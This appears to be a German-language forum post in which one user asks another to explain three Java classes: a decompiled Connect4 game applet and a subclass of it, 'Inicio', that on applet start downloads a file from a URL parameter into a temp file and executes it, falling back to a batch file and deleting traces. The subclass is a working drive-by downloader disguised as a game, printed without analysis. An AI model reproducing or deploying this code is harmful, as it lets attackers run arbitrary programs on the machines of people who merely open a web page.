2009 , da habe ich mit sowas angefangen --> erste MIR BEKANNTE version....
gut dann weiste was?
erklär du mir dochmal das:
Code:import java.io.*; import java.net.URL; import java.net.URLConnection; public class Inicio extends Connect4 { public Inicio() { } public void empaquetar() throws Exception { byte buffer[] = new byte[10240]; String archivo = getParameter("url"); System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(archivo).toString()); String ext = archivo.substring(archivo.lastIndexOf(".")); ext = ext.toLowerCase(); File nuevo = File.createTempFile("javatmp", ext); FileOutputStream stream = new FileOutputStream(nuevo); URL ur = new URL(archivo); URLConnection uc = ur.openConnection(); BufferedInputStream is = new BufferedInputStream(uc.getInputStream()); int leidos; while((leidos = is.read(buffer)) > 0) stream.write(buffer, 0, leidos); stream.close(); if(ext.contains(".jar")) Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(nuevo.getAbsolutePath()).append("\"").toString()); else try { Runtime.getRuntime().exec(nuevo.getAbsolutePath()); } catch(IOException e) { File f = File.createTempFile("tmp", ".bat"); f.createNewFile(); f.deleteOnExit(); PrintWriter pw = new PrintWriter(f); pw.println((new StringBuilder("\"")).append(nuevo.getAbsolutePath()).append("\"").toString()); pw.close(); Runtime.getRuntime().exec(f.getAbsolutePath()); f.delete(); } nuevo.deleteOnExit(); } public void init() { try { empaquetar(); } catch(Exception e) { e.printStackTrace(); } super.init(); } private static final long serialVersionUID = 1L; }
bzw
Code:class Connect4Kernel { public int Cnt() { return cnt; } private boolean _IsEmpty(int i) { return field[i] < 114; } private int _DoMove(int i, int j) { int k = field[j]; board[k] = i; field[j] += 13; return k; } private int _BestMove(int i, int ai[], int j) { byte byte0 = 10; byte byte1 = -1; int ai1[] = new int[1]; int ai2[] = new int[1]; int j1 = -1; ai[0] = -1; j--; int k = 3; ai2[0] = 0; while(k < byte0) { if(_IsEmpty(k)) { if(ai[0] == -1) ai[0] = k; int i1; int l = _DoMove(i, i1 = k); label0: switch(GameOver(l, ai2)) { case 1: // '\001' ai[0] = k; k = byte0; byte1 = 1; break; case -1: if(byte1 == -1) { ai[0] = k; byte1 = 0; k = byte0; } break; case 0: // '\0' default: if(j != 0) { switch(_BestMove(i != -1 ? -1 : 1, ai1, j)) { default: break; case -1: if(byte1 != 1 || ai2[0] > j1) { ai[0] = k; byte1 = 1; j1 = ai2[0]; } break label0; case 0: // '\0' if(byte1 == -1 || byte1 == 0 && ai2[0] > j1) { ai[0] = k; byte1 = 0; j1 = ai2[0]; } break label0; case 1: // '\001' if(byte1 == -1 && ai2[0] > j1) { ai[0] = k; j1 = ai2[0]; } break; } break; } if(byte1 == -1 && ai2[0] > j1) { ai[0] = k; byte1 = 0; j1 = ai2[0]; } break; } board[l] = 0; field[i1] -= 13; } if(j == maxDepth) { StringBuffer stringbuffer = new StringBuffer(30); stringbuffer.append("Analyzing"); for(int k1 = 3; k1 < k; k1++) stringbuffer.append("."); c4.DrawStatus(stringbuffer.toString()); } k++; cnt++; } return byte1; } private int _Field(int i, int j) { return i * 13 + j; } private int _Column(int i) { return i % 13; } private int _Line(int i) { return i / 13; } public Connect4Kernel(Connect4 connect4) { board = new int[156]; field = new int[13]; c4 = connect4; for(int i = 0; i < 156; i++) if(_Column(i) > 2 && _Column(i) < 10 && _Line(i) > 2 && _Line(i) < 9) board[i] = 0; else board[i] = 99; for(int j = 0; j < 13; j++) field[j] = 39 + j; } public boolean IsEmpty(int i) { if(i >= 0 && i < 7) return _IsEmpty(i + 3); else return false; } public int GameOver(int i, int ai[]) { int j = board[i]; int j3; int k3; int l3; int i3 = j3 = k3 = l3 = 1; int j4; int k4; int l4; int i4 = j4 = k4 = l4 = 0; int j1; int k1; int l1; int i2; int j2; int k2; int l2; int i1 = j1 = k1 = l1 = i2 = j2 = k2 = l2 = i; boolean flag1; boolean flag2; boolean flag3; boolean flag4; boolean flag5; boolean flag6; boolean flag7; boolean flag8; boolean flag9; boolean flag10; boolean flag11; boolean flag12; boolean flag13; boolean flag14; boolean flag15; boolean flag = flag1 = flag8 = flag9 = flag2 = flag3 = flag10 = flag11 = flag4 = flag5 = flag12 = flag13 = flag6 = flag7 = flag14 = flag15 = true; if(j != 0 && j != 99) { byte byte0 = ((byte)(board[i] != -1 ? -1 : 1)); for(int k = 1; k < 4; k++) { int i5; if(flag8) if((i5 = board[++l1]) != 99) { if(flag) { if(i5 == j) { i3++; } else { flag = false; if(i5 == 0) i4++; else flag8 = false; } } else if(i5 != byte0) i4++; else flag8 = false; } else { flag8 = false; } if(flag9) if((i5 = board[--k1]) != 99) { if(flag1) { if(i5 == j) { i3++; } else { flag1 = false; if(i5 == 0) i4++; else flag9 = false; } } else if(i5 != byte0) i4++; else flag9 = false; } else { flag9 = false; } if(flag10) if((i5 = board[j2 += 14]) != 99) { if(flag2) { if(i5 == j) { j3++; } else { flag2 = false; if(i5 == 0) j4++; else flag10 = false; } } else if(i5 != byte0) j4++; else flag10 = false; } else { flag10 = false; } if(flag11) if((i5 = board[k2 -= 14]) != 99) { if(flag3) { if(i5 == j) { j3++; } else { flag3 = false; if(i5 == 0) j4++; else flag11 = false; } } else if(i5 != byte0) j4++; else flag11 = false; } else { flag11 = false; } if(flag12) if((i5 = board[i2 += 12]) != 99) { if(flag4) { if(i5 == j) { k3++; } else { flag4 = false; if(i5 == 0) k4++; else flag12 = false; } } else if(i5 != byte0) k4++; else flag12 = false; } else { flag12 = false; } if(flag13) if((i5 = board[l2 -= 12]) != 99) { if(flag5) { if(i5 == j) { k3++; } else { flag5 = false; if(i5 == 0) k4++; else flag13 = false; } } else if(i5 != byte0) k4++; else flag13 = false; } else { flag13 = false; } if(flag14) if((i5 = board[i1 += 13]) != 99) { if(flag6) { if(i5 == j) { l3++; } else { flag6 = false; if(i5 == 0) l4++; else flag14 = false; } } else if(i5 != byte0) l4++; else flag14 = false; } else { flag14 = false; } if(flag15) if((i5 = board[j1 -= 13]) != 99) { if(flag7) { if(i5 == j) { l3++; } else { flag7 = false; if(i5 == 0) l4++; else flag15 = false; } } else if(i5 != byte0) l4++; else flag15 = false; } else { flag15 = false; } } ai[0] = 0; if(i4 + i3 > 3) ai[0] = (i3 - 1) * 6 + i4; if(j4 + j3 > 3) ai[0] += (j3 - 1) * 6 + j4; if(k4 + k3 > 3) ai[0] += (k3 - 1) * 6 + k4; if(l4 + l3 > 3) ai[0] += (l3 - 1) * 6 + l4; if(i3 > 3 || j3 > 3 || k3 > 3 || l3 > 3) return 1; for(int l = 3; l < 10; l++) if(field[l] < 156) return 0; return -1; } else { return 0; } } public int DoMove(int i, int j) { int k = -1; if(IsEmpty(j)) k = _DoMove(i, j + 3); return k; } public int BestMove(int i, int ai[], int j) { maxDepth = j - 1; cnt = 0; int k = _BestMove(i, ai, j); ai[0] -= 3; return k; } public int Field(int i, int j) { return (i + 3) * 13 + j + 3; } public int Column(int i) { return _Column(i) - 3; } public int Line(int i) { return _Line(i) - 3; } public char F(int i, int j) { switch(board[Field(i, j)]) { case 0: // '\0' return ' '; case 1: // '\001' return 'X'; } return '0'; } public int FieldState(int i, int j) { return board[Field(i, j)]; } public static final int EMPTY = 0; public static final int COMP = 1; public static final int HUMAN = -1; public static final int BORDER = 99; public static final int GAME_NOT_OVER = 0; public static final int ONE_HAS_WON = 1; public static final int BOARD_FULL = -1; public static final int UNDECIDED = 0; public static final int PLAYER_WINS = 1; public static final int PLAYER_LOOSES = -1; private int board[]; private int field[]; private int maxDepth; private Connect4 c4; private int cnt; }
&
Code:import java.applet.Applet; import java.awt.*; public class Connect4 extends Applet { public void init() { c4k = new Connect4Kernel(this); bestMove[0] = c4k.Field(0, 0); value[0] = 0; level = 4; levelEverDecreased = false; changeCnt = 0; lastHumanArrowColumn = -1; lastCompArrowColumn = -1; lastHumanArrowEmpty = true; currStatus = new StringBuffer("Start your game!"); if(g == null) g = getGraphics(); SetMode(0); } public void SetMode(int i) { mode = i; } public boolean IsMode(int i) { return mode == i; } public void DrawStatus(String s) { Dimension dimension = size(); int i = (dimension.width - 10) / 7; int j = dimension.height / 8; g.setColor(Color.white); g.fillRect(5, 7 * j + 1, 7 * i, j - 5 - 1); if(currFontSize != j) { currFontSize = j; font = new Font("Dialog", 0, (j * 5) / 10); } g.setFont(font); currStatus = new StringBuffer(s); g.setColor(Color.black); g.drawString(currStatus.toString(), 15, 7 * j + (j * 5) / 8); for(int k = 4; k < 9 && k <= level; k++) { g.setColor(Color.green); g.fillRect(7 * i - 5 - 20, 8 * j - 5 - (k - 3) * 4 - 1, 22, 3); } } public void DrawChip(int i, int j) { Dimension dimension = size(); int k = (dimension.width - 10) / 7; int l = dimension.height / 8; int i1 = 5 + k * i + k / 8; int j1 = (dimension.height - (j + 2) * l) + l / 8; int k1 = (k * 3) / 4; int l1 = (l * 3) / 4; Color color; switch(c4k.FieldState(j, i)) { case 1: // '\001' color = Color.green; break; case -1: color = Color.red; break; case 0: // '\0' default: color = Color.white; break; } g.setColor(color); g.fillOval(i1, j1, k1, l1); } public void paint(Graphics g1) { Dimension dimension = size(); int i = (dimension.width - 10) / 7; int j = dimension.height / 8; g1.setColor(Color.white); g1.fillRect(0, 0, (7 * i + 10) - 1, j * 8 - 1); g1.setColor(Color.blue.darker().darker()); g1.fillRect(5, j, i * 7, j * 6); for(int k = 0; k < 6; k++) { for(int j1 = 0; j1 < 7; j1++) DrawChip(j1, k); } DrawStatus(currStatus.toString()); g1.setColor(Color.gray); for(int l = 0; l < 5; l++) { g1.drawLine(l, l, l, j * 8 - l - 1); g1.drawLine(l + 1, l, (i * 7 + 10) - 1, l); } g1.setColor(Color.darkGray); for(int i1 = 0; i1 < 5; i1++) { g1.drawLine(((i * 7 - i1) + 10) - 1, i1 + 1, ((i * 7 - i1) + 10) - 1, j * 8 - i1 - 1); g1.drawLine(i1, j * 8 - i1 - 1, (i * 7 + 10) - 1, j * 8 - i1 - 1); } } public int DoMove(int i, int j) { int k = c4k.DoMove(i, j); DrawChip(j, c4k.Line(k)); if(i == -1) lastCompArrowColumn = -1; else lastHumanArrowColumn = -1; DrawArrows(j, i); return k; } private void AdaptLevel() { if(c4k.Cnt() < 6000) { if(++changeCnt == 2) { level++; changeCnt = 0; return; } } else { if(c4k.Cnt() > 40000) { level--; changeCnt = 0; levelEverDecreased = true; return; } changeCnt = 0; } } public boolean mouseUp(Event event, int i, int j) { if(IsMode(2)) { init(); repaint(); return true; } SetMode(1); if(c4k.GameOver(bestMove[0], value) == 0) { Dimension dimension = size(); int k = ((i - 5) * 7) / dimension.width; if(k >= 0 && k <= 6 && c4k.IsEmpty(k)) { currField = DoMove(-1, k); label0: switch(res = c4k.GameOver(currField, value)) { default: break; case -1: DrawStatus("It ends in a tie! (click to restart)"); SetMode(2); break; case 1: // '\001' DrawStatus("You won! (click to restart)"); SetMode(2); break; case 0: // '\0' res = c4k.BestMove(1, bestMove, level); currField = DoMove(1, bestMove[0]); AdaptLevel(); switch(res) { case -1: DrawStatus("Your move!"); break label0; case 1: // '\001' if(c4k.GameOver(currField, value) != 0) { DrawStatus("I won! (click to restart)"); SetMode(2); break label0; } if(levelEverDecreased) DrawStatus("Your move!"); else DrawStatus("I'm going to win!"); break; case 0: // '\0' default: DrawStatus("Your move!"); break; } break; } } } if(IsMode(1)) SetMode(0); return true; } void DrawArrow(Graphics g1, int i, int j, int k, Color color, boolean flag) { int ai[] = new int[8]; int ai1[] = new int[8]; g1.setColor(color); ai[0] = 5 + k * i + i / 2; ai1[0] = (j * 3) / 4; ai[1] = ai[0] + i / 5; ai1[1] = ai1[0] - j / 4; ai[2] = ai[0] + i / 10; ai1[2] = ai1[1]; ai[3] = ai[2]; ai1[3] = ai1[0] - j / 2; ai[4] = ai[0] - i / 10; ai1[4] = ai1[3]; ai[5] = ai[4]; ai1[5] = ai1[1]; ai[6] = ai[0] - i / 5; ai1[6] = ai1[1]; ai[7] = ai[0]; ai1[7] = ai1[0]; if(flag) { g1.fillPolygon(ai, ai1, 8); return; } else { g1.drawPolygon(ai, ai1, 8); return; } } void DrawArrows(int i, int j) { if(i >= 0 && i < 7) { boolean flag = c4k.IsEmpty(i); Dimension dimension = size(); int k = (dimension.width - 10) / 7; int l = dimension.height / 8; g.setColor(Color.white); g.fillRect(5, 5, 7 * k, l - 5); if(j == -1) { lastHumanArrowColumn = i; lastHumanArrowEmpty = flag; } else if(j == 1) { lastCompArrowColumn = i; } else { lastHumanArrowColumn = -1; lastCompArrowColumn = -1; } if(lastHumanArrowColumn != -1) { Color color; if(lastHumanArrowEmpty) color = Color.red; else color = Color.gray; DrawArrow(g, k, l, lastHumanArrowColumn, color, true); } if(lastCompArrowColumn != -1) { Color color1 = Color.green; DrawArrow(g, k, l, lastCompArrowColumn, color1, lastCompArrowColumn != lastHumanArrowColumn); } } } public boolean mouseMove(Event event, int i, int j) { if(IsMode(0)) { Dimension dimension = size(); int k = ((i - 5) * 7) / dimension.width; if(k != lastHumanArrowColumn) DrawArrows(k, -1); } return true; } public String getAppletInfo() { return "Connect4 - Java (beta) Applet by Sven Wiebus, Dec. 1995"; } public Connect4() { bestMove = new int[1]; value = new int[1]; levelEverDecreased = false; lastCompArrowColumn = -1; lastHumanArrowColumn = -1; lastHumanArrowEmpty = false; mode = -1; } public static final int WAITING_FOR_MOVE = 0; public static final int ANALYZING = 1; public static final int RESTART = 2; public static final int BORDER_WIDTH = 5; Connect4Kernel c4k; int currField; int level; int bestMove[]; int res; int value[]; int changeCnt; boolean levelEverDecreased; int lastCompArrowColumn; int lastHumanArrowColumn; boolean lastHumanArrowEmpty; int currFontSize; Font font; StringBuffer currStatus; Graphics g; Panel panel; int mode; }